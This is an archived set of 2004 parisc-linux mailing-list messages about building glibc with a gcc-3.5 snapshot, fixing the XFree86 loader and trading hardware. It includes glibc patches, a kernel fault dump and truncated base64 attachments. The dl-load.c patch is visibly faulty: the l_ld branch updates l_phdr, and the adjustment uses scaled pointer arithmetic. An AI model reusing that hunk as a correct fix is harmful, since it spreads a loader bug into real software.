>     Joel

Joel,

Excellent! Thanks for posting the PR, the person answering the PR is
correct, we should be indicating to gcc that set_dp is being used by
assembly.

I'm building with a fix right now "__attribute__((used))" to warn
gcc-3.5 that it should not remove the function. I hadn't even realized
that it was only being called by assembly, hence gcc-3.5 is doing a
*better* job of removing apparently dead code.

When the build finishes I'll update my glibc patches online.

c.



From - Thu Nov 08 21:30:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Job for someone
Date: Tue, 17 Feb 2004 16:27:40 -0500
Lines: 36
Approved: news@gmane.org
Message-ID: <20040217212740.GC12535@baldric.uwo.ca>
References: <20040217144206.GQ31168@parcelfarce.linux.theplanet.co.uk>
	<20040217150320.GA27567@lst.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623201 5653 80.91.229.3 (22 Nov 2014 02:26:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:41 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>, parisc-linux@parisc-linux.org
To: Christoph Hellwig <hch@lst.de>
Original-X-From: carlos@baldric.uwo.ca  Tue Feb 17 14:28:12 2004
Return-Path: <carlos@baldric.uwo.ca>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3739F48A8
	for <parisc-linux@parisc-linux.org>;
	Tue, 17 Feb 2004 14:28:12 -0700 (MST)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1AtCkm-0003Qm-00; Tue, 17 Feb 2004 16:27:40 -0500
Content-Disposition: inline
In-Reply-To: <20040217150320.GA27567@lst.de>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (38% Sync Ratio [====......])
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 17 Feb 2004 21:28:12 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20865

On Tue, Feb 17, 2004 at 04:03:20PM +0100, Christoph Hellwig wrote:
> On Tue, Feb 17, 2004 at 02:42:06PM +0000, Matthew Wilcox wrote:
> > I was contacted by one of the Debian XFree86 people yesterday asking if
> > someone would like to look at the XFree86 loader for parisc so they could
> > rearrange the packaging to ship the modules separately from the server.
> > I don't have any great desire to work on a dynamic linker, but I bet
> > somebody else does ... ;-)
> 
> Maybe that someone should fix the issue right and switch XFree to use
> dlopen() for Linux.  If some other OSes want to keep the current junk
> it'll be their problem to fix it..

I spent time reviewing the loader code in XFree86 and the loader code in
glibc (when I fixed our relocation processing for COPY relocs).

So here are my two cents:

o As I understand it, the startup sequence of XFree86 is precarious, and
  loading the module via dlopen doesn't work because the symbol
  resolution order cannot follow the ELF standard 100%. It has to be done
  slightly out of order to bootstrap the server. This seems silly and
  should probably be fixed, but would require testing across all
  platforms. I figure it hasn't been done for that particular reason.

o It's not a horrible job to add our relocations to the XFree86 code,
  and I could probably do it given a couple of weeks. I almost started
  the job a year ago but lost steam when I blew the video out of my
  712/60.

So I'll set out the following challenge, if someone ships me a video
card for my c3k I'll fix the XFree86 loader. Short of that I imagine
that a 712/60 mobo with a working onboard video would be just as good :)

c.



From - Thu Nov 08 21:30:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Job for someone
Date: Tue, 17 Feb 2004 21:35:13 -0700
Lines: 12
Approved: news@gmane.org
Message-ID: <20040218043513.GB4773@colo.lackof.org>
References: <20040217144206.GQ31168@parcelfarce.linux.theplanet.co.uk>
	<20040217150320.GA27567@lst.de>
	<20040217212740.GC12535@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623201 5656 80.91.229.3 (22 Nov 2014 02:26:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:41 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>, Christoph Hellwig <hch@lst.de>,
	parisc-linux@parisc-linux.org
To: Carlos O'Donell <carlos@baldric.uwo.ca>
Original-X-From: grundler@lackof.org  Tue Feb 17 21:35:14 2004
Return-Path: <grundler@lackof.org>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id C7C0A4840
	for <parisc-linux@parisc-linux.org>;
	Tue, 17 Feb 2004 21:35:14 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id D6D282980E6; Tue, 17 Feb 2004 21:35:13 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 04907-01; Tue, 17 Feb 2004 21:35:13 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 44681298059; Tue, 17 Feb 2004 21:35:13 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20040217212740.GC12535@baldric.uwo.ca>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 18 Feb 2004 04:35:15 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20866

On Tue, Feb 17, 2004 at 04:27:40PM -0500, Carlos O'Donell wrote:
> So I'll set out the following challenge, if someone ships me a video
> card for my c3k I'll fix the XFree86 loader. Short of that I imagine
> that a 712/60 mobo with a working onboard video would be just as good :)

You are too easy. I can ship you a 712/100.
And I'll see if I can find you a PCI Vis-EG for the c3k.
I won't be able to ship anything until next week though.

cheers,
grant


From - Thu Nov 08 21:30:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Job for someone
Date: Wed, 18 Feb 2004 01:17:56 -0500
Lines: 11
Approved: news@gmane.org
Message-ID: <20040218061756.GG15553@baldric.uwo.ca>
References: <20040217144206.GQ31168@parcelfarce.linux.theplanet.co.uk>
	<20040217150320.GA27567@lst.de>
	<20040217212740.GC12535@baldric.uwo.ca>
	<20040218043513.GB4773@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623202 5661 80.91.229.3 (22 Nov 2014 02:26:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:42 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: carlos@baldric.uwo.ca  Tue Feb 17 23:17:19 2004
Return-Path: <carlos@baldric.uwo.ca>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from fep01-mail.bloor.is.net.cable.rogers.com
	(fep01-mail.bloor.is.net.cable.rogers.com [66.185.86.71])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id A23AC4840; Tue, 17 Feb 2004 23:17:18 -0700 (MST)
Original-Received: from systemhalted ([24.43.33.92])
	by fep01-mail.bloor.is.net.cable.rogers.com
	(InterMail vM.5.01.05.12 201-253-122-126-112-20020820) with ESMTP id
	<20040218061703.TCO83660.fep01-mail.bloor.is.net.cable.rogers.com@systemhalted>;
	Wed, 18 Feb 2004 01:17:03 -0500
Content-Disposition: inline
In-Reply-To: <20040218043513.GB4773@colo.lackof.org>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (13% Sync Ratio [=.........])
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-Authentication-Info: Submitted using SMTP AUTH LOGIN at
	fep01-mail.bloor.is.net.cable.rogers.com from [24.43.33.92]
	using ID <patofiero@rogers.com> at Wed,
	18 Feb 2004 01:17:03 -0500
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 18 Feb 2004 06:17:19 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20867

> 
> You are too easy. I can ship you a 712/100.
> And I'll see if I can find you a PCI Vis-EG for the c3k.
> I won't be able to ship anything until next week though.
> 

Deal, I'll remind you next week.

c.



From - Thu Nov 08 21:30:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc-2.3.3 & gcc-snapshot (3.5.0) pb
Date: Wed, 18 Feb 2004 14:16:36 +0100
Lines: 344
Approved: news@gmane.org
Message-ID: <402A42A1000052A9@ocpmta1.freegates.net>
References: <20040217211041.GB12535@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
	boundary="========/402A42A1000052A9/mail.tiscali.be"
X-Trace: ger.gmane.org 1416623202 5662 80.91.229.3 (22 Nov 2014 02:26:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:42 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
	James Morrison <ja2morri@csclub.uwaterloo.ca>,
	Grant Grundler <grundler@parisc-linux.org>,
	parisc-linux@lists.parisc-linux.org
To: "Carlos O'Donell" <carlos@baldric.uwo.ca>
Original-X-From: soete.joel@tiscali.be  Wed Feb 18 06:16:46 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout2.tiscali.be (cpout2.tiscali.be [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id 781E1489E
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 18 Feb 2004 06:16:45 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) 
	id 1AtRZ7-0001hq-00; Wed, 18 Feb 2004 14:16:37 +0100
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Wed, 18 Feb 2004 14:16:36 +0100
In-Reply-To: <20040217211041.GB12535@baldric.uwo.ca>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 18 Feb 2004 13:16:46 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20868


--========/402A42A1000052A9/mail.tiscali.be
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit

Carlos,

>I'm building with a fix right now "__attribute__((used))" to war
> gcc-3.5 that it should not remove the function. I hadn't even realized
>that it was only being called by assembly, hence gcc-3.5 is doing a
>*better* job of removing apparently dead code.
>
>When the build finishes I'll update my glibc patches online

Ah :)
So you would certainly need some more hack because of lvalue casting.
Here are some one which could already help you:
--- glibc-2.3.3-20040212/iconv/gconv_simple.c	2004-02-07 17:27:50.000000000
+0100
+++ glibc-2.3.3-20040209/iconv/gconv_simple.c	2004-02-09 18:44:41.217390320
+0100
@@ -453,9 +453,11 @@
 #if __BYTE_ORDER == __BIG_ENDIAN
   /* Sigh, we have to do some real work.  */
   size_t cnt;
+  uint32_t *outptr32 = (uint32_t *) outptr;
 
   for (cnt = 0; cnt < n_convert; ++cnt, inptr += 4)
-    *((uint32_t *) outptr)++ = bswap_32 (*(const uint32_t *) inptr);
+    *outptr32++ = bswap_32 (*(const uint32_t *) inptr);
+  outptr = (unsigned char *) outptr32;
 
   *inptrp = inptr;
   *outptrp = outptr;
=========><=========
I already submitted it and accepted by its maintainer (as it is just a complement
to his job) but not yet ci.

=========><=========
--- glibc-2.3.3-20040212/elf/dl-load.c	2004-02-09 08:03:48.000000000 +0100
+++ glibc-2.3.3-20040209/elf/dl-load.c	2004-02-10 16:32:53.250787488 +0100
@@ -1226,9 +1226,13 @@
 			    (header->e_phnum * sizeof (ElfW(Phdr))));
 	l->l_phdr_allocated = 1;
       }
-    else
+    else {
       /* Adjust the PT_PHDR value by the runtime load address.  */
-      (ElfW(Addr)) l->l_phdr += l->l_addr;
+      /*       (ElfW(Addr)) l->l_phdr += l->l_addr; */
+      ElfW(Addr) *tmpp = (ElfW(Addr) *) l->l_phdr;
+      tmpp += l->l_addr;
+      l->l_phdr = (ElfW(Phdr) *) tmpp;
+    }
   }
 
 #ifdef USE_TLS
@@ -1253,8 +1257,12 @@
 	  goto call_lose;
 	}
     }
-  else
-    (ElfW(Addr)) l->l_ld += l->l_addr;
+  else {
+    /* (ElfW(Addr)) l->l_ld += l->l_addr; */
+    ElfW(Addr) *tmpp = (ElfW(Addr) *) l->l_phdr;
+    tmpp += l->l_addr;
+    l->l_phdr = (ElfW(Phdr) *) tmpp;
+  }
 
   l->l_entry += l->l_addr;
 
=========><=========
--- glibc-2.3.3-20040212/sunrpc/rpc/xdr.h	2002-12-16 03:05:49.000000000 +0100
+++ glibc-2.3.3-20040209/sunrpc/rpc/xdr.h	2004-02-10 11:43:02.022656032 +0100
@@ -263,9 +263,19 @@
  * in the RPC code will not work on 64bit Solaris platforms !
  */
 #define IXDR_GET_LONG(buf) \
-	((long)ntohl((u_long)*__extension__((u_int32_t*)(buf))++))
+	({			\
+	long l;			\
+	u_int32_t *buf_u32 = (u_int32_t *) buf;			\
+	l = ((long)ntohl((u_long)*__extension__(buf_u32)++));	\
+	buf = (__typeof__(*buf) *) buf_u32;			\
+	l;							\
+	})
 #define IXDR_PUT_LONG(buf, v) \
-	(*__extension__((u_int32_t*)(buf))++ = (long)htonl((u_long)(v)))
+	do {			\
+	u_int32_t *buf_u32 = (u_int32_t *) buf;			\
+	(*__extension__(buf_u32)++ = (long)htonl((u_long)(v)));	\
+	buf = (__typeof__(*buf) *) buf_u32;			\
+	} while (0)
 #define IXDR_GET_U_LONG(buf)	      ((u_long)IXDR_GET_LONG(buf))
 #define IXDR_PUT_U_LONG(buf, v)	      IXDR_PUT_LONG(buf, (long)(v))
 
=========><=========
But this one is just a very ugly (just quick and dirty :( )

but also:
--- glibc/iconvdata/euc-jisx0213.c.orig	2004-02-18 12:07:32.723703576 +0100
+++ glibc/iconvdata/euc-jisx0213.c	2004-02-18 12:10:13.832211360 +0100
@@ -83,7 +83,9 @@
 	  if (__builtin_expect (outbuf + 4 <= outend, 1))		      \
 	    {								      \
 	      /* Write out the last character.  */			      \
-	      *((uint32_t *) outbuf)++ = data->__statep->__count >> 3;	      \
+	      uint32_t *outptr32 = (uint32_t *) outbuf;			      \
+	      *outptr32++ = data->__statep->__count >> 3;		      \
+	      outbuf = (unsigned char *) outptr32;			      \
 	      data->__statep->__count = 0;				      \
 	    }								      \
 	  else								      \
--- glibc/iconvdata/iso-2022-cn-ext.c.orig	2004-02-18 11:13:48.000000000
+0100
+++ glibc/iconvdata/iso-2022-cn-ext.c	2004-02-18 11:21:56.511671032 +0100
@@ -171,6 +171,7 @@
 #define BODY \
   {									      \
     uint32_t ch = *inptr;						      \
+    uint32_t *outptr32 = (uint32_t *) outptr;				      \
 									      \
     /* This is a 7bit character set, disallow all 8bit characters.  */	
     \
     if (ch > 0x7f)							      \
@@ -377,7 +378,8 @@
 	  }								      \
       }									      \
 									      \
-    *((uint32_t *) outptr)++ = ch;					      \
+    *outptr32++ = ch;							      \
+    outptr = (unsigned char *) outptr32;				      \
   }
 #define EXTRA_LOOP_DECLS	, int *setp
 #define INIT_PARAMS		int set = (*setp >> 3) & CURRENT_MASK; \
--- glibc/iconvdata/shift_jisx0213.c.orig	2004-02-18 12:15:21.953369824 +0100
+++ glibc/iconvdata/shift_jisx0213.c	2004-02-18 12:16:30.127005856 +0100
@@ -83,7 +83,9 @@
 	  if (__builtin_expect (outbuf + 4 <= outend, 1))		      \
 	    {								      \
 	      /* Write out the last character.  */			      \
-	      *((uint32_t *) outbuf)++ = data->__statep->__count >> 3;	      \
+	      uint32_t *outptr32 = (uint32_t *) outbuf;			      \
+	      *outptr32++ = data->__statep->__count >> 3;		      \
+	      outbuf = (unsigned char *) outptr32;			      \
 	      data->__statep->__count = 0;				      \
 	    }								      \
 	  else								      \
--- glibc/iconvdata/tcvn5712-1.c.orig	2004-02-18 11:18:22.027277616 +0100
+++ glibc/iconvdata/tcvn5712-1.c	2004-02-18 11:54:17.527591760 +0100
@@ -68,7 +68,9 @@
 	  if (__builtin_expect (outbuf + 4 <= outend, 1))		      \
 	    {								      \
 	      /* Write out the last character.  */			      \
-	      *((uint32_t *) outbuf)++ = data->__statep->__count >> 3;	      \
+	      uint32_t *outptr32 = (uint32_t *) outbuf;			      \
+	      *outptr32++ = data->__statep->__count >> 3;		      \
+	      outbuf = (unsigned char *) outptr32;			      \
 	      data->__statep->__count = 0;				      \
 	    }								      \
 	  else								      \
--- glibc/iconvdata/tscii.c.orig	2004-02-18 12:23:37.289067352 +0100
+++ glibc/iconvdata/tscii.c	2004-02-18 12:24:25.417750680 +0100
@@ -98,7 +98,9 @@
 		  break;						      \
 		}							      \
 	      /* Write out the pending character.  */			      \
-	      *((uint32_t *) outbuf)++ = data->__statep->__count >> 8;	      \
+	      uint32_t *outptr32 = (uint32_t *) outbuf;			      \
+	      *outptr32++ = data->__statep->__count >> 8;		      \
+	      outbuf = (unsigned char *) outptr32;			      \
 	      /* Retrieve the successor state.  */			      \
 	      data->__statep->__count =					      \
 		tscii_next_state[(data->__statep->__count >> 4) & 0x0f];      \
=========><=========

But now I need more to try to complete job because:
make[2]: *** [/Develop/parisc-linux/build/glibc/sunrpc/xbootparam_prot.stmp]

Segmentation fault

And dmesg saying:

do_page_fault() pid=6547 command='ld.so.1' type=15 address=0x0016b690
vm_start = 0x00033000, vm_end = 0x00034000

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001000000111100001111 Not tainted
r00-03  0000000000000000 000000004102b6fc 000000004100721f 00000000faf02040
r04-07  000000004102b6fc 00000000400002b8 00000000faf02158 00000000faf01d8c
r08-11  0000000040170000 0000000000170e60 000000004016fd98 00000000faf01dc0
r12-15  0000000040171e60 0000000000000002 00000000faf02128 ffffffffffffffff
r16-19  00000000faf02180 0000000000000003 0000000000000004 000000004102b6fc
r20-23  000000004102bd80 0000000000000008 000000000016b690 0000000040000000
r24-27  000000000016b690 0000000000001e60 0000000000000003 00000000000c97f0
r28-31  0000000040001000 0000000000000000 00000000faf02180 0000000041013fc7
sr0-3   0000000000003580 0000000000003580 0000000000000000 0000000000003580
sr4-7   0000000000003580 0000000000003580 0000000000003580 0000000000003580

IASQ: 0000000000003580 0000000000003580 IAOQ: 0000000041007293 0000000041007297
 IIR: 0ec01095    ISR: 0000000000003580  IOR: 000000000016b690
 CPU:        8   CR30: 000000003a038000 CR31: 00000000104a4000
 ORIG_R28: 0000000040170000
 IAOQ[0]: 0x41007293
 IAOQ[1]: 0x41007297
 RP(r2): 0x4100721f

But I need first to reboot with a new kernel (the present one was build with
gcc-hppa64-3.3 :( ).
Then get the very last gcc and glibc cvs and restart the scipt :)

hth,
    Joel

PS: I also join diff as files because of bad wraping of my webmail interface.


----------------------------------------------------------------------------------------
Tiscali ADSL: 19,50 /mois, pendant 3 mois! L'Internet rapide, c'est pour
tout le monde.
http://reg.tiscali.be/default.asp?lg=fr




--========/402A42A1000052A9/mail.tiscali.be
Content-Type: application/octet-stream
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="GLibC-diff"

LS0tIGdsaWJjLTIuMy4zLTIwMDQwMjEyL2VsZi9kbC1sb2FkLmMJMjAwNC0wMi0wOSAwODowMzo0
OC4wMDAwMDAwMDAgKzAxMDAKKysrIGdsaWJjLTIuMy4zLTIwMDQwMjA5L2VsZi9kbC1sb2FkLmMJ
MjAwNC0wMi0xMCAxNjozMjo1My4yNTA3ODc0ODggKzAxMDAKQEAgLTEyMjYsOSArMTIyNiwxMyBA
QAogCQkJICAgIChoZWFkZXItPmVfcGhudW0gKiBzaXplb2YgKEVsZlcoUGhkcikpKSk7CiAJbC0+
bF9waGRyX2FsbG9jYXRlZCA9IDE7CiAgICAgICB9Ci0gICAgZWxzZQorICAgIGVsc2UgewogICAg
ICAgLyogQWRqdXN0IHRoZSBQVF9QSERSIHZhbHVlIGJ5IHRoZSBydW50aW1lIGxvYWQgYWRkcmVz
cy4gICovCi0gICAgICAoRWxmVyhBZGRyKSkgbC0+bF9waGRyICs9IGwtPmxfYWRkcjsKKyAgICAg
IC8qICAgICAgIChFbGZXKEFkZHIpKSBsLT5sX3BoZHIgKz0gbC0+bF9hZGRyOyAqLworICAgICAg
RWxmVyhBZGRyKSAqdG1wcCA9IChFbGZXKEFkZHIpICopIGwtPmxfcGhkcjsKKyAgICAgIHRtcHAg
Kz0gbC0+bF9hZGRyOworICAgICAgbC0+bF9waGRyID0gKEVsZlcoUGhkcikgKikgdG1wcDsKKyAg
ICB9CiAgIH0KIAogI2lmZGVmIFVTRV9UTFMKQEAgLTEyNTMsOCArMTI1NywxMiBAQAogCSAgZ290
byBjYWxsX2xvc2U7CiAJfQogICAgIH0KLSAgZWxzZQotICAgIChFbGZXKEFkZHIpKSBsLT5sX2xk
ICs9IGwtPmxfYWRkcjsKKyAgZWxzZSB7CisgICAgLyogKEVsZlcoQWRkcikpIGwtPmxfbGQgKz0g
bC0+bF9hZGRyOyAqLworICAgIEVsZlcoQWRkcikgKnRtcHAgPSAoRWxmVyhBZGRyKSAqKSBsLT5s
X3BoZHI7CisgICAgdG1wcCArPSBsLT5sX2FkZHI7CisgICAgbC0+bF9waGRyID0gKEVsZlcoUGhk
cikgKikgdG1wcDsKKyAgfQogCiAgIGwtPmxfZW50cnkgKz0gbC0+bF9hZGRyOwogCi0tLSBnbGli
Yy0yLjMuMy0yMDA0MDIxMi9zdW5ycGMvcnBjL3hkci5oCTIwMDItMTItMTYgMDM6MDU6NDkuMDAw
MDAwMDAwICswMTAwCisrKyBnbGliYy0yLjMuMy0yMDA0MDIwOS9zdW5ycGMvcnBjL3hkci5oCTIw
MDQtMDItMTAgMTE6NDM6MDIuMDIyNjU2MDMyICswMTAwCkBAIC0yNjMsOSArMjYzLDE5IEBACiAg
KiBpbiB0aGUgUlBDIGNvZGUgd2lsbCBub3Qgd29yayBvbiA2NGJpdCBTb2xhcmlzIHBsYXRmb3Jt
cyAhCiAgKi8KICNkZWZpbmUgSVhEUl9HRVRfTE9ORyhidWYpIFwKLQkoKGxvbmcpbnRvaGwoKHVf
bG9uZykqX19leHRlbnNpb25fXygodV9pbnQzMl90KikoYnVmKSkrKykpCisJKHsJCQlcCisJbG9u
ZyBsOwkJCVwKKwl1X2ludDMyX3QgKmJ1Zl91MzIgPSAodV9pbnQzMl90ICopIGJ1ZjsJCQlcCisJ
bCA9ICgobG9uZyludG9obCgodV9sb25nKSpfX2V4dGVuc2lvbl9fKGJ1Zl91MzIpKyspKTsJXAor
CWJ1ZiA9IChfX3R5cGVvZl9fKCpidWYpICopIGJ1Zl91MzI7CQkJXAorCWw7CQkJCQkJCVwKKwl9
KQogI2RlZmluZSBJWERSX1BVVF9MT05HKGJ1ZiwgdikgXAotCSgqX19leHRlbnNpb25fXygodV9p
bnQzMl90KikoYnVmKSkrKyA9IChsb25nKWh0b25sKCh1X2xvbmcpKHYpKSkKKwlkbyB7CQkJXAor
CXVfaW50MzJfdCAqYnVmX3UzMiA9ICh1X2ludDMyX3QgKikgYnVmOwkJCVwKKwkoKl9fZXh0ZW5z
aW9uX18oYnVmX3UzMikrKyA9IChsb25nKWh0b25sKCh1X2xvbmcpKHYpKSk7CVwKKwlidWYgPSAo
X190eXBlb2ZfXygqYnVmKSAqKSBidWZfdTMyOwkJCVwKKwl9IHdoaWxlICgwKQogI2RlZmluZSBJ
WERSX0dFVF9VX0xPTkcoYnVmKQkgICAgICAoKHVfbG9uZylJWERSX0dFVF9MT05HKGJ1ZikpCiAj
ZGVmaW5lIElYRFJfUFVUX1VfTE9ORyhidWYsIHYpCSAgICAgIElYRFJfUFVUX0xPTkcoYnVmLCAo
bG9uZykodikpCiAKLS0tIGdsaWJjLTIuMy4zLTIwMDQwMjEyL2ljb252L2djb252X3NpbXBsZS5j
CTIwMDQtMDItMDcgMTc6Mjc6NTAuMDAwMDAwMDAwICswMTAwCisrKyBnbGliYy0yLjMuMy0yMDA0
MDIwOS9pY29udi9nY29udl9zaW1wbGUuYwkyMDA0LTAyLTA5IDE4OjQ0OjQxLjIxNzM5MDMyMCAr
MDEwMApAQCAtNDUzLDkgKzQ1MywxMSBAQAogI2lmIF9fQllURV9PUkRFUiA9PSBfX0JJR19FTkRJ
QU4KICAgLyogU2lnaCwgd2UgaGF2ZSB0byBkbyBzb21lIHJlYWwgd29yay4gICovCiAgIHNpemVf
dCBjbnQ7CisgIHVpbnQzMl90ICpvdXRwdHIzMiA9ICh1aW50MzJfdCAqKSBvdXRwdHI7CiAKICAg
Zm9yIChjbnQgPSAwOyBjbnQgPCBuX2NvbnZlcnQ7ICsrY250LCBpbnB0ciArPSA0KQotICAgICoo
KHVpbnQzMl90ICopIG91dHB0cikrKyA9IGJzd2FwXzMyICgqKGNvbnN0IHVpbnQzMl90ICopIGlu
cHRyKTsKKyAgICAqb3V0cHRyMzIrKyA9IGJzd2FwXzMyICgqKGNvbnN0IHVpbnQzMl90ICopIGlu
cHRyKTsKKyAgb3V0cHRyID0gKHVuc2lnbmVkIGNoYXIgKikgb3V0cHRyMzI7CiAKICAgKmlucHRy
cCA9IGlucHRyOwogICAqb3V0cHRycCA9IG91dHB0cjsK


--========/402A42A1000052A9/mail.tiscali.be
Content-Type: application/octet-stream
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="GLibC-diff2"

LS0tIGdsaWJjL2ljb252ZGF0YS9ldWMtamlzeDAyMTMuYy5vcmlnCTIwMDQtMDItMTggMTI6MDc6
MzIuNzIzNzAzNTc2ICswMTAwCisrKyBnbGliYy9pY29udmRhdGEvZXVjLWppc3gwMjEzLmMJMjAw
NC0wMi0xOCAxMjoxMDoxMy44MzIyMTEzNjAgKzAxMDAKQEAgLTgzLDcgKzgzLDkgQEAKIAkgIGlm
IChfX2J1aWx0aW5fZXhwZWN0IChvdXRidWYgKyA0IDw9IG91dGVuZCwgMSkpCQkgICAgICBcCiAJ
ICAgIHsJCQkJCQkJCSAgICAgIFwKIAkgICAgICAvKiBXcml0ZSBvdXQgdGhlIGxhc3QgY2hhcmFj
